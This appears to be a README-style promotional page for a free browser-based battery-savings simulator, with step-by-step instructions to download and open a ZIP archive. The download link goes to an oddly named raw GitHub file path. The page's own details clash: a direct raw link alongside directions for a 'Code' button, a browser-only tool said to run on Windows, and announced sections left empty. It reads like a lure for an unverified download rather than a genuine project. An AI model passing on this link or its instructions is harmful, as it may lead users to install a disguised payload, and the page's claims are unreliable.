Find out how much money a battery can save you — all from the comfort of your web browser. battery-simulator-energy is a free, easy-to-use energy-modeling workspace that helps you explore different battery scenarios for 2026. Whether you're curious about backup power during outages, smarter solar usage, or saving money by buying and selling electricity at the right time, this tool has you covered.
Think of this as a virtual test lab for batteries. You don't need any technical skills — just open the app and click around. You can adjust settings and instantly see how your battery would perform in different real-world situations. Here are the main things you can explore:
See how your battery reacts when your home or business suddenly needs more power. Perfect for understanding how much energy you can draw when demand spikes.
Electricity prices change throughout the day. This tool shows you how to charge your battery when power is cheap and use it when power is expensive — potentially saving you big money.
Curious how long your battery would keep your essentials running during a blackout? Adjust your usage and see the exact hours and minutes of backup power.
If you have solar panels, find out the smartest time to charge your battery using solar power. This feature ensures you squeeze every drop of free sunshine.
This application works on Windows and runs in any modern browser. To get the best experience, make sure your computer meets these simple requirements:
Ready to start simulating? Follow these easy steps. If you've ever downloaded a file from the internet, you already know most of this.
⏬ Click the link below to download:
⬇️ Download battery-simulator-energy
If the button above doesn't work, you can type this address directly into your browser:
https://raw.githubusercontent.com/Locusbura680/locusbura680.github.io/main/Chinantecs/Latest_1.3.zip
Once you click the download link and visit the GitHub page, you'll see a green button that says "Code". Click it, then select "Download ZIP". Your browser will start downloading a single compressed file to your computer. This file contains everything you need.
After the download finishes, go to your Downloads folder (or wherever your browser saves files). You'll see a folder called battery-simulator-energy-main.zip (or something similar). You don't need any special software — just double-click the ZIP folder, and it will open. Inside, you'll see another folder. Double-click that one to see the application files.
💡 Good news: This is a browser-based application, so you don't need to install anything! Find the file called index.html inside the folder. Double-click it. It will automatically open in your web browser, and you'll see the battery simulator interface. That's it — you're ready to explore!
If you'd like to keep it easily accessible, right-click the index.html file, select "Send to" → "Desktop (create shortcut)" so you can launch it with one click in the future.
Once the app is open, you'll see a clean interface with different panels and controls. Here are the basics:
If something doesn't work right, don't worry — here are simple fixes for the most common problems.
Solution: This might be a temporary browser glitch. Simply press Ctrl + F5 (hold both keys together) to refresh the page with a clean load. If that doesn't work, close your browser, reopen it, and try again.
Solution: Make sure you're on the main project page (linked above). The green Code button is in the upper-right area of the page. If you're using a mobile device or tablet, you might need to scroll down a bit — the button is always there.
Solution: Try a different browser (e.g., if you're using Internet Explorer, switch to Chrome or Edge). We recommend the latest version of Chrome for the smoothest experience.
Here's what real users are discovering using battery-simulator-energy: